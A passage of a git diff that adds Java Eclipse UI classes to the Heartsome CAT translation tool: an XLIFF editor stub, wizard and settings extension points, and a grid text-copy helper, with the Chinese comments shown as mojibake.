text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.v")); + } + return result; + } + + /** + * 模拟æ¯ä¸ªç¿»è¯‘å•å…ƒçš„简å•æ•°æ®å¯¹è±¡ + * @author cheney + * @since JDK1.6 + */ + class SimpleModel { + String id; + String srcText; + String targetText; + + /** + * 构建函数 + * @param id + * ç¼–å· ID + * @param srcText + * æºæ–‡æœ¬ + * @param targetText + * 目标文本 + */ + public SimpleModel(String id, String srcText, String targetText) { + this.id = id; + this.srcText = srcText; + this.targetText = targetText; + } + + /** + * ç¼–å· ID + * @return ; + */ + public String getId() { + return id; + } + + /** + * ç¼–å· ID + * @param id + * ; + */ + public void setId(String id) { + this.id = id; + } + + /** + * æºæ–‡æœ¬ + * @return ; + */ + public String getSrcText() { + return srcText; + } + + /** + * æºæ–‡æœ¬ + * @param srcText + * ; + */ + public void setSrcText(String srcText) { + this.srcText = srcText; + } + + /** + * 目标文本 + * @return ; + */ + public String getTargetText() { + return targetText; + } + + /** + * 目标文本 + * @param targetText + * ; + */ + public void setTargetText(String targetText) { + this.targetText = targetText; + } + } + + @Override + public void dispose() { + if(titleImage != null && !titleImage.isDisposed()){ + titleImage.dispose(); + } + if(cursorArrow != null && !cursorArrow.isDisposed()){ + cursorArrow.dispose(); + } + if(cursorIbeam != null && !cursorIbeam.isDisposed()){ + cursorIbeam.dispose(); + } + super.dispose(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/XLIFFEditor.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/XLIFFEditor.java new file mode 100644 index 0000000..cc02b6e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/XLIFFEditor.java @@ -0,0 +1,445 @@ +/** + * XLIFFEditor.java + * + * Version information : + * + * Date:Jan 27, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.ts.ui.editors; + +import java.util.Vector; + +import net.heartsome.cat.ts.core.bean.TransUnitBean; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.action.IStatusLineManager; +import org.eclipse.jface.action.StatusLineContributionItem; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.ISelectionProvider; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.ui.IEditorDescriptor; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorRegistry; +import org.eclipse.ui.IEditorSite; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.EditorPart; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * . + * (此类未使用) + * @author stone + * @version + * @since JDK1.6 + */ +public class XLIFFEditor extends EditorPart implements ISelectionProvider, IHSEditor { + + /** 常é‡ï¼Œç¼–辑器ID。 */ + public static final String ID = "net.heartsome.cat.ts.ui.editors.XLIFFEditor"; + + /** 常é‡ï¼Œæ—¥å¿—记录器。 */ + private static final Logger LOGGER = LoggerFactory.getLogger(XLIFFEditor.class); + + /** 所有的翻译å•å…ƒã€‚ */ + private Vector allVector; + + /** 显示和编辑翻译å•å…ƒå®¹å™¨è§‚察者。 */ +// private CompositeViewer viewer; + + /** 显示在状æ€æ å¤„çš„æ¡ç›®ã€‚ */ + private StatusLineContributionItem statusItem; + + /** 状æ€æ ç®¡ç†å™¨ã€‚ */ + private IStatusLineManager statusLineManager; + + /** 输入对象的文件å。 */ + private String fileName; + + /** 事件监å¬å™¨æ供者,任务编辑器通知监å¬å™¨çš„人物。 */ + ISelectionProvider provider = new SelectionProviderAdapter(); + + /** 编辑器左上角的图标 */ + private Image titleImage; + + /** + * å¯åŠ¨ç¼–辑器。 + * + * @param site + * the site + * @param input + * the input + * @throws PartInitException + * the part init exception + * @see org.eclipse.ui.part.EditorPart#init(org.eclipse.ui.IEditorSite, + * org.eclipse.ui.IEditorInput) + */ + public void init(IEditorSite site, IEditorInput input) throws PartInitException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("init(IEditorSite site, IEditorInput input)"); + } + setSite(site); + setInput(input); + // 设置Editor标题æ çš„显示å称,å¦åˆ™å称用plugin.xml中的name属性 + setPartName(input.getName()); + + Image oldTitleImage = titleImage; + if (input != null) { + IEditorRegistry editorRegistry = PlatformUI.getWorkbench().getEditorRegistry(); + IEditorDescriptor editorDesc = editorRegistry.findEditor(getSite().getId()); + ImageDescriptor imageDesc = editorDesc != null ? editorDesc.getImageDescriptor() : null; + titleImage = imageDesc != null ? imageDesc.createImage() : null; + } + + setTitleImage(titleImage); + if (oldTitleImage != null && !oldTitleImage.isDisposed()) { + oldTitleImage.dispose(); + } + + getSite().setSelectionProvider(this); + } + + /** + * 创建显示在é¢æ¿ä¸Šçš„控件。 + * + * @param parent + * the parent + * @see org.eclipse.ui.part.WorkbenchPart#createPartControl(org.eclipse.swt.widgets.Composite) + */ + public void createPartControl(Composite parent) { +// viewer = new CompositeViewer(parent, SWT.BORDER); +// viewer.getControl().setLayoutData(new GridData(GridData.FILL_BOTH)); +// IURIEditorInput input = (IURIEditorInput) getEditorInput(); +// URI path = input.getURI(); +// File file = new File(path); +// fileName = file.getName(); +// TSFileHandler handler = new TSFileHandler(); +// Map result = handler.openFile(file); +// +// if (Constant.RETURNVALUE_RESULT_SUCCESSFUL == (Integer) result.get(Constant.RETURNVALUE_RESULT)) { +// +// Hashtable> ransunits = handler.getTransunits(); +// Set>> entrySet = ransunits.entrySet(); +// +// // handler.get +// +// allVector = new Vector(); +// for (Entry> entry : entrySet) { +// allVector.addAll(entry.getValue()); +// } +// +// // TODO: +// // æ•°æ®é€šè¿‡è§£æžxliff文件,å–xliff文件中File节点的属性source-languageå’Œtarget-language +// viewer.setTableTitleString(null, "en-AU", "zh-HK", "en-Au -> zh-HK"); +// viewer.setHSContentProvider(new XLIFFContentProvider()); +// viewer.setInput(allVector); +// +// viewer.addSelectionChangedListener(new ISelectionChangedListener() { +// @Override +// public void selectionChanged(SelectionChangedEvent event) { +// showMessageOnStatusLine(); +// } +// +// }); +// } else { +// //TODO 弹出错误对è¯æ¡†ï¼Œæ示文件解æžå¤±è´¥ã€‚ +// LOGGER.error("errorMsg", result.get("errorMsg")); +// } +// statusItem = new StatusLineContributionItem(ID); +// // TODO è¯·ä½¿ç”¨çœŸå®žæ•°æ® +// statusItem.setText("文件状æ€ã€‚"); +// statusLineManager = getEditorSite().getActionBars().getStatusLineManager(); +// statusLineManager.add(statusItem); + } + + /** + * 在状æ€æ ä¸Šæ˜¾ç¤ºè¢«ç¼–辑文件的信æ¯ã€‚ + */ +// private void showMessageOnStatusLine() { +// int order = viewer.getSelectionIndex(); +// MessageFormat messageFormat = null; +// if (order > 0) { +// /* 一个Xliff文件,å¯èƒ½æœ‰å¤šä¸ªFile节点,这里使用File结点的original属性 */ +// /* 当å‰æ–‡ä»¶ï¼š{0} | 顺åºå·:{1} | å¯ç¼–辑文本段数:{2} | 文本段总数:{3} | 当å‰ç”¨æˆ·å" */ +// messageFormat = new MessageFormat("当å‰æ–‡ä»¶ï¼š{0} | 顺åºå·ï¼š{1} | å¯ç¼–辑文本段数:{2} | 文本段总数:{3} | 用户å:{4}"); +// } else { +// messageFormat = new MessageFormat("当å‰æ–‡ä»¶ï¼š{0} | å¯ç¼–辑文本段数:{2} | 文本段总数:{3} | 用户å:{4}"); +// } +// // statusItem.setText(messageFormat.format(new +// // String[]{String.valueOf(order)})); +// statusLineManager.setMessage(messageFormat.format(new String[] { fileName, String.valueOf(order), +// String.valueOf(0), String.valueOf(0), "Stone" })); +// setSelection(new ISelection() { +// @Override +// public boolean isEmpty() { +// // TODO Auto-generated method stub +// return false; +// } +// }); +// } + + /** + * 获得选中的翻译å•å…ƒï¼Œ + * + * @return 选中的翻译å•å…ƒæˆ–null。 + * @see net.heartsome.cat.ts.ui.editors.IHSEditor#getSelectTransUnitBean() + */ + public TransUnitBean getSelectTransUnitBean() { +// try { +// return allVector.get(viewer.getSelectionIndex()); +// } catch (ArrayIndexOutOfBoundsException e) { +// return null; +// } + return null; + } + + /** + * ä¿å­˜æ–‡æ¡£ã€‚ + * + * @param monitor + * the monitor + * @see org.eclipse.ui.part.EditorPart#doSave(org.eclipse.core.runtime.IProgressMonitor) + */ + public void doSave(IProgressMonitor monitor) { + // TODO + } + + /** + * 是å¦å…许ä¿å­˜æ–‡æ¡£ã€‚ + * + * @return true, å…许ä¿å­˜æ–‡æ¡£è¿”回true。 + * @see org.eclipse.ui.part.EditorPart#isSaveAsAllowed() + */ + public boolean isSaveAsAllowed() { + // TODO + return false; + } + + /** + * å¦å­˜ä¸ºã€‚ + * + * @see org.eclipse.ui.part.EditorPart#doSaveAs() + */ + public void doSaveAs() { + // TODO + } + + /** + * 文本内容被改å˜ã€‚ + * + * @return true, if checks if is dirty + * @see org.eclipse.ui.part.EditorPart#isDirty() + */ + public boolean isDirty() { + // TODO + return false; + } + + /** + * 编辑器获得焦点时调用的方法。 + * + * @see org.eclipse.ui.part.WorkbenchPart#setFocus() + */ + public void setFocus() { + getSite().setSelectionProvider(this); +// showMessageOnStatusLine(); + } + + /** + * 添加监å¬å™¨ã€‚ + * + * @param listener + * the listener + * @see org.eclipse.jface.viewers.ISelectionProvider#addSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) + */ + public void addSelectionChangedListener(ISelectionChangedListener listener) { + provider.addSelectionChangedListener(listener); + } + + /** + * 获得选中对象。 + * + * @return the selection + * @see org.eclipse.jface.viewers.ISelectionProvider#getSelection() + */ + public ISelection getSelection() { + return provider.getSelection(); + } + + /** + * 删除监å¬å™¨ã€‚ + * + * @param listener + * the listener + * @see org.eclipse.jface.viewers.ISelectionProvider#removeSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) + */ + public void removeSelectionChangedListener(ISelectionChangedListener listener) { + provider.removeSelectionChangedListener(listener); + } + + /** + * 设置选中对象。 + * + * @param selection + * the selection + * @see org.eclipse.jface.viewers.ISelectionProvider#setSelection(org.eclipse.jface.viewers.ISelection) + */ + public void setSelection(ISelection selection) { + provider.setSelection(selection); + } + + /** + * 修改选中翻译å•å…ƒçš„翻译。 + * + * @param value + * the value + * @see net.heartsome.cat.ts.ui.editors.IHSEditor#changeData(java.lang.String) + */ + public void changeData(String value) { +// viewer.changeData(value); + } + + /** + * 改å˜æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€æŽ’列模å¼ã€‚ + * + * @see net.heartsome.cat.ts.ui.editors.IHSEditor#changeModel() + */ + public void changeModel() { +// viewer.changeModel(); + } + + /** + * 释放编辑器,åŒæ—¶é‡Šæ”¾å…¶ä»–相关资æºã€‚ + * + * @see org.eclipse.ui.part.WorkbenchPart#dispose() + */ + public void dispose() { + if (titleImage != null && !titleImage.isDisposed()) { + titleImage.dispose(); + titleImage = null; + } + getEditorSite().getActionBars().getStatusLineManager().remove(statusItem); + super.dispose(); + } + + /** + * . + * + * @author stone + * @version + * @since JDK1.6 + */ +// private static final class XLIFFContentProvider implements IHSContentProvider { +// +// /** 输入的数æ®å¯¹è±¡ã€‚ */ +// Vector input; +// +// /** ç•Œé¢æ˜¾ç¤ºå†…容的索引。使用Vector获å–指定数æ®å¤ªæ…¢ã€‚ */ +// String[][] data; +// +// /** ç•Œé¢æ˜¾ç¤ºå†…容的索引。使用Vector获å–指定数æ®å¤ªæ…¢ã€‚ */ +// TransUnitBean[] dataBean; +// +// /** 默认数æ®å¯¹è±¡ï¼Œç¼–å·ã€æºæ–‡æœ¬ã€ç¿»è¯‘都是空字符串。 */ +// private static final String[] DEFAULT_DATA = new String[] { "", "", "" }; +// +// /** 翻译å•å…ƒä¸ªæ•°ã€‚ */ +// int size = 0; +// +// /** +// * 获得翻译å•å…ƒä¸ªæ•°ã€‚ +// * +// * @return the size +// * @see net.heartsome.cat.common.ui.customtable.IHSContentProvider#getSize() +// */ +// @Override +// public int getSize() { +// return size; +// } +// +// /** +// * 获得指定索引上翻译å•å…ƒçš„值。 +// * +// * @param index +// * the index +// * @return the value +// * @see net.heartsome.cat.common.ui.customtable.IHSContentProvider#getValue(int) +// */ +// @Override +// public String[] getValue(int index) { +// return (index >= size && index < 0) ? DEFAULT_DATA : data[index]; +// } +// +// /** +// * 设置输入对象。 +// * +// * @param input +// * the input +// * @see net.heartsome.cat.common.ui.customtable.IHSContentProvider#setInput(java.lang.Object) +// */ +// @SuppressWarnings("unchecked") +// @Override +// public void setInput(Object input) { +// this.input = (Vector) input; +// size = this.input.size(); +// data = new String[size][3]; +// dataBean = new TransUnitBean[size]; +// for (int i = 0; i < size; i++) { +// TransUnitBean transUnitBean = this.input.get(i); +// data[i] = createStringArray("" + (i + 1), transUnitBean.getSrcContent(), transUnitBean.getTgtContent()); +// dataBean[i] = transUnitBean; +// } +// } +// +// /** +// * 创建字符串(String)数组,如果传入字符串是null用空串代替。 +// * +// * @param args +// * the args +// * @return the string[] +// */ +// private String[] createStringArray(String... args) { +// for (int i = 0; i < args.length; i++) { +// if (args[i] == null) { +// args[i] = ""; +// } +// } +// return args; +// } +// +// /** +// * 修改指定索引的翻译的值。 +// * +// * @param index +// * 修改对象索引 +// * @param text +// * 值 +// * @see net.heartsome.cat.common.ui.customtable.IHSContentProvider#setValue(int, +// * java.lang.String) +// */ +// public void setValue(int index, String text) { +// if (index >= 0 && index < data.length) { +// data[index][2] = text; +// dataBean[index].setTgtContent(text); +// } +// } +// +// } +// +// /** +// * 设置编辑器的æºæ–‡æœ¬å’Œç¿»è¯‘排列的方å¼ã€‚ +// * +// * @param layoutModel +// * @see net.heartsome.cat.ts.ui.editors.IHSEditor#setModel(boolean) +// */ + public void setModel(int layoutModel) { +// viewer.setModel(layoutModel); + } + +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/extensionpoint/AbstractNewProjectWizardPage.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/extensionpoint/AbstractNewProjectWizardPage.java new file mode 100644 index 0000000..9a6e2fa --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/extensionpoint/AbstractNewProjectWizardPage.java @@ -0,0 +1,59 @@ +package net.heartsome.cat.ts.ui.extensionpoint; + +import java.util.List; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage; + +import org.eclipse.jface.wizard.WizardPage; + +/** + * 新建项目å‘导页é¢æŠ½è±¡,用于扩展点实现 + * @author jason + * @version + * @since JDK1.6 + */ +public abstract class AbstractNewProjectWizardPage extends WizardPage { + + /** + * 当å‰åˆ›å»ºé¡¹ç›®çš„æºè¯­è¨€ + */ + protected Language projSourceLang; + /** + * 页é¢ç±»åž‹,记忆库设置或术语库设置 + */ + private String pageType; + + protected AbstractNewProjectWizardPage(String pageName,String pageType) { + super(pageName); + this.pageType = pageType; + } + + /** + * 获å–添加的库 + * @return ; + */ + public abstract List getSelectedDatabase(); + + /** + * 获å–页é¢ç±»åž‹ {@link #pageType} + * @return “TMâ€æ—¶ï¼Œè¡¨ç¤ºè¯¥é¡µé¢ç”¨äºŽè®¾ç½®è®°å¿†åº“,“TBâ€æ—¶ï¼Œè¡¨ç¤ºè¯¥é¡µé¢ç”¨äºŽè®¾ç½®æœ¯è¯­åº“; + */ + public String getPageType(){ + return pageType; + } + + + + /** + * æ供项目的æºè¯­è¨€ + * @see NewProjectWizardLanguagePage#getNextPage() + * @param projSourceLang + * the projSourceLang to set + */ + public void setProjSourceLang(Language projSourceLang) { + this.projSourceLang = projSourceLang; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/extensionpoint/AbstractProjectSettingPage.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/extensionpoint/AbstractProjectSettingPage.java new file mode 100644 index 0000000..0cf1499 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/extensionpoint/AbstractProjectSettingPage.java @@ -0,0 +1,42 @@ +package net.heartsome.cat.ts.ui.extensionpoint; + +import net.heartsome.cat.common.bean.ProjectInfoBean; + +import org.eclipse.jface.preference.PreferencePage; + +/** + * 项目设置扩展点抽象 + * @author jason + * @version + * @since JDK1.6 + */ +public abstract class AbstractProjectSettingPage extends PreferencePage { + protected ProjectInfoBean projectInfoBean; + private String pageType; + /** + * 构造器,åˆå§‹åŒ–项目信æ¯ä¸ºç©º + */ + protected AbstractProjectSettingPage(String pageType) { + this.pageType = pageType; + projectInfoBean = new ProjectInfoBean(); + } + + /** + * 设置当å‰é¡¹ç›®ä¿¡æ¯ + * @param projInfoBean + * ; + */ + public abstract void setProjectInfoBean(ProjectInfoBean projInfoBean); + + /** + * 获å–当å‰é¡¹ç›®ä¿¡æ¯ + * @return ; + */ + public ProjectInfoBean getProjectInfoBean() { + return projectInfoBean; + } + + public String getPageType(){ + return this.pageType; + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/extensionpoint/IConverterCaller.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/extensionpoint/IConverterCaller.java new file mode 100644 index 0000000..72d9189 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/extensionpoint/IConverterCaller.java @@ -0,0 +1,32 @@ +/** + * IConverterCaller.java + * + * Version information : + * + * Date:2012-6-25 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.extensionpoint; + +import java.util.List; + +import org.eclipse.core.resources.IFile; + +/** + * 转æ¢å™¨è°ƒç”¨æ‰©å±•å®šä¹‰ + * @author jason + * @version + * @since JDK1.6 + */ +public interface IConverterCaller { + + /** + * 打开转æ¢å™¨ + * @param files ; + */ + void openConverter(List files); +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/grid/GridCopyEnable.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/grid/GridCopyEnable.java new file mode 100644 index 0000000..a7bece3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/grid/GridCopyEnable.java @@ -0,0 +1,403 @@ +/** + * GridCopyEnable.java + * + * Version information : + * + * Date:2013-3-15 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.grid; + +import java.util.ArrayList; +import java.util.List; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.nebula.widgets.grid.Grid.GridVisibleRange; +import org.eclipse.nebula.widgets.grid.GridCellRenderer; +import org.eclipse.nebula.widgets.grid.GridColumn; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ST; +import org.eclipse.swt.dnd.Clipboard; +import org.eclipse.swt.dnd.TextTransfer; +import org.eclipse.swt.dnd.Transfer; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.MouseMoveListener; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.widgets.Caret; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class GridCopyEnable { + + private Grid gridTable; + private Caret defaultCaret; + + private int clickCount = 0; + private int caretOffset = 0; + int selectionAnchor = 0; + Point selection = new Point(0, 0); + TextLayout layout; + String focusContent; + + int coordinateOffsetX; + int coordinateOffsetY; + Rectangle focusCellRect = new Rectangle(0, 0, 0, 0); + + List copyAbleColumnIndexs = new ArrayList(); + int focusItemIndex = -1; + int focusColIndex = -1; + + GridItem focusItem = null; + + Clipboard clipboard; + + final static boolean IS_MAC, IS_GTK, IS_MOTIF; + static { + String platform = SWT.getPlatform(); + IS_MAC = "carbon".equals(platform) || "cocoa".equals(platform); + IS_GTK = "gtk".equals(platform); + IS_MOTIF = "motif".equals(platform); + } + + /** + * @param gridTable + */ + public GridCopyEnable(Grid gridTable) { + Assert.isNotNull(gridTable); + this.gridTable = gridTable; + defaultCaret = new Caret(gridTable, SWT.NONE); + clipboard = new Clipboard(gridTable.getDisplay()); + this.gridTable.setCaret(defaultCaret); + this.gridTable.setCursor(Display.getDefault().getSystemCursor(SWT.CURSOR_IBEAM)); + initListener(); + } + + public Point getSelectionRange(int colIndex, GridItem item) { + if (item == focusItem && colIndex == focusColIndex) { + return selection; + } + return null; + } + + public int getSelectionCount() { + return selection.y - selection.x; + } + + public void addCopyAbleColumn(int colIndex) { + copyAbleColumnIndexs.add(colIndex); + } + + /** + * 调用 {@link Grid#removeAll()} 之å‰éœ€è¦è°ƒç”¨æ­¤æ–¹æ³•ã€‚解决内容å˜åŒ–时,选中未å˜åŒ–的问题。 ; + */ + public void resetSelection() { + caretOffset = 0; + clearSelection(); + } + + private void initListener() { + gridTable.addListener(SWT.MouseDown, new Listener() { + + public void handleEvent(Event e) { + if ((e.button != 1) || (IS_MAC && (e.stateMask & SWT.MOD4) != 0)) { + return; + } + clickCount = e.count; + doMouseLocationChange(e.x, e.y, false); + } + }); + + gridTable.addListener(SWT.MouseUp, new Listener() { + + public void handleEvent(Event e) { + clickCount = 0; + } + }); + + gridTable.addMouseMoveListener(new MouseMoveListener() { + + public void mouseMove(MouseEvent e) { + if (clickCount > 0) { + gridTable.update(); + doMouseLocationChange(e.x, e.y, true); + } + } + }); + + gridTable.addListener(SWT.KeyDown, new Listener() { + + public void handleEvent(Event event) { + int t = event.keyCode | event.stateMask; + if (t == ('C' | SWT.MOD1) || t == ('c' | SWT.MOD1)) { + // copy event + doAction(ST.COPY); + } + } + }); + + gridTable.getVerticalBar().addListener(SWT.Selection, new Listener() { + public void handleEvent(Event event) { + handleVerticalScroll(event); + } + }); + + gridTable.addDisposeListener(new DisposeListener() { + + public void widgetDisposed(DisposeEvent e) { + if (clipboard != null) { + clipboard.dispose(); + } + if (defaultCaret != null) { + defaultCaret.dispose(); + } + } + }); + } + + public void doAction(int action) { + switch (action) { + case ST.COPY: + copy(); + break; + default: + break; + } + } + + void copy() { + if (focusContent == null || focusContent.equals("")) { + return; + } + if (selection.x != selection.y) { + String plainText = focusContent.substring(selection.x, selection.y); + Object[] data = new Object[] { plainText }; + TextTransfer plainTextTransfer = TextTransfer.getInstance(); + Transfer[] types = new Transfer[] { plainTextTransfer }; + clipboard.setContents(data, types); + } + } + + void doMouseLocationChange(int x, int y, boolean select) { + if (gridTable.getItems().length == 0) { + defaultCaret.setVisible(false); + return; + } + Point eventP = new Point(x, y); + GridItem _focusItem = gridTable.getItem(eventP); + GridColumn col = gridTable.getColumn(eventP); + if (_focusItem == null) { + return; + } + GridCellRenderer gcr = col.getCellRenderer(); + int colIndex = gcr.getColumn(); + if (gcr == null || !(gcr instanceof XGridCellRenderer) || !copyAbleColumnIndexs.contains(colIndex)) { + return; + } + XGridCellRenderer cellRender = (XGridCellRenderer) gcr; + + Rectangle cellBounds = _focusItem.getBounds(colIndex); + GC gc = new GC(Display.getDefault()); + layout = cellRender.getTextLayout(gc, _focusItem, colIndex, true, false); + if (layout == null) { + gc.dispose(); + return; + } + focusContent = layout.getText(); + coordinateOffsetX = cellBounds.x + cellRender.leftMargin; + coordinateOffsetY = cellBounds.y + cellRender.topMargin + cellRender.textTopMargin; + if (!select) { + focusCellRect.x = cellBounds.x; + focusCellRect.y = cellBounds.y; + focusCellRect.height = cellBounds.height; + focusCellRect.width = cellBounds.width; + focusColIndex = colIndex; + focusItemIndex = gridTable.getIndexOfItem(_focusItem); + } + + int[] trailing = new int[1]; + int newCaretOffset = layout.getOffset(x - coordinateOffsetX, y - coordinateOffsetY, trailing); + + int newCaretLine = layout.getLineIndex(newCaretOffset + trailing[0]); + int lineStart = layout.getLineOffsets()[newCaretLine]; + Point point = null; + if (newCaretOffset + trailing[0] == lineStart && trailing[0] != 0) { + newCaretOffset += trailing[0]; + newCaretOffset = layout.getPreviousOffset(newCaretOffset, SWT.MOVEMENT_CLUSTER); + point = layout.getLocation(newCaretOffset, true); + } else { + newCaretOffset += trailing[0]; + point = layout.getLocation(newCaretOffset, false); + } + + // check area, only in cell area effective + boolean vchange = focusCellRect.y <= y && y < focusCellRect.y + focusCellRect.height; + boolean hchange = focusCellRect.x <= x && x < focusCellRect.x + focusCellRect.width; + + if (vchange && hchange && newCaretOffset != caretOffset) { + focusItem = _focusItem; + caretOffset = newCaretOffset; + if (select) { + doMouseSelection(); + } + defaultCaret.setVisible(true); + Rectangle rc = layout.getLineBounds(newCaretLine); + defaultCaret.setBounds(point.x + coordinateOffsetX, point.y + coordinateOffsetY, 0, rc.height); + } + if (!select) { + caretOffset = newCaretOffset; + clearSelection(); + } + layout.dispose(); + layout = null; + gc.dispose(); + } + + /** + * Updates the selection based on the caret position + */ + void doMouseSelection() { + if (caretOffset <= selection.x + || (caretOffset > selection.x && caretOffset < selection.y && selectionAnchor == selection.x)) { + doSelection(ST.COLUMN_PREVIOUS);// left + } else { + doSelection(ST.COLUMN_NEXT); // right + } + } + + void doSelection(int direction) { + int redrawStart = -1; + int redrawEnd = -1; + if (selectionAnchor == -1) { + selectionAnchor = selection.x; + } + if (direction == ST.COLUMN_PREVIOUS) { + if (caretOffset < selection.x) { + // grow selection + redrawEnd = selection.x; + redrawStart = selection.x = caretOffset; + if (selectionAnchor != selection.y) { + redrawEnd = selection.y; + selection.y = selectionAnchor; + } + } else if (selectionAnchor == selection.x && caretOffset < selection.y) { + // caret moved towards selection anchor (left side of selection). + // shrink selection + redrawEnd = selection.y; + redrawStart = selection.y = caretOffset; + } + } else { + if (caretOffset > selection.y) { + // grow selection + redrawStart = selection.y; + redrawEnd = selection.y = caretOffset; + if (selection.x != selectionAnchor) { + redrawStart = selection.x; + selection.x = selectionAnchor; + } + } else if (selectionAnchor == selection.y && caretOffset > selection.x) { + // caret moved towards selection anchor (right side of selection). + // shrink selection + redrawStart = selection.x; + redrawEnd = selection.x = caretOffset; + } + } + + if (redrawStart != -1 && redrawEnd != -1) { + Rectangle rect = layout.getBounds(redrawStart, redrawEnd); + gridTable.redraw(rect.x + coordinateOffsetX, rect.y + coordinateOffsetY, rect.width, rect.height, false); + } + } + + void clearSelection() { + int start = selection.x; + int end = selection.y; + selection.x = selection.y = caretOffset; + selectionAnchor = -1; + // redraw old selection, if any + if (end - start > 0 && gridTable.getItems().length != 0) { + if (layout == null && focusItemIndex != -1 && focusItemIndex != -1) { + GridItem item = gridTable.getItem(focusItemIndex); + GridColumn col = gridTable.getColumn(focusColIndex); + GridCellRenderer gcr = col.getCellRenderer(); + if (gcr != null && gcr instanceof XGridCellRenderer) { + GC gc = new GC(gcr.getDisplay()); + layout = ((XGridCellRenderer) gcr).getTextLayout(gc, item, focusColIndex, true, false); + gc.dispose(); + } + if (layout == null) { + return; + } + } + Rectangle rect = layout.getBounds(start, end); + gridTable.redraw(rect.x + coordinateOffsetX, rect.y + coordinateOffsetY, rect.width, rect.height, false); + } + } + + void handleVerticalScroll(Event event) { + GridVisibleRange visibleR = gridTable.getVisibleRange(); + GridItem[] items = visibleR.getItems(); + boolean itemFlg = false; + for (GridItem item : items) { + if (focusItem == item) { + itemFlg = true; + } + } + boolean columnFlg = false; + GridColumn[] columns = visibleR.getColumns(); + if (columns.length - 1 >= focusColIndex) { + columnFlg = true; + } + if (!itemFlg || !columnFlg) { + defaultCaret.setVisible(false); + return; + } + defaultCaret.setVisible(true); + + GridColumn 